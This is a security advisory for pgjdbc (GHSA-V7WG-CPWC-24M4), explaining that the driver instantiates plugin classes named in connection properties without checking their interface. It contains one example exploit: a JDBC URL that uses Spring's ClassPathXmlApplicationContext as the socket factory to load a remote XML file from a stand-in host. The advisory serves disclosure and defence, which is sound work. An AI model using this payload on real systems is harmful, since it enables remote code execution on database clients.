Lucene search

K
osvGoogleOSV:GHSA-V7WG-CPWC-24M4
HistoryFeb 02, 2022 - 12:04 a.m.

pgjdbc Does Not Check Class Instantiation when providing Plugin Classes

2022-02-0200:04:20
Google
osv.dev
36

0.018 Low

EPSS

Percentile

88.1%

Impact

pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties.

However, the driver did not verify if the class implements the expected interface before instantiating the class.

Here’s an example attack using an out-of-the-box class from Spring Framework:

DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

The first impacted version is REL9.4.1208 (it introduced socketFactory connection property)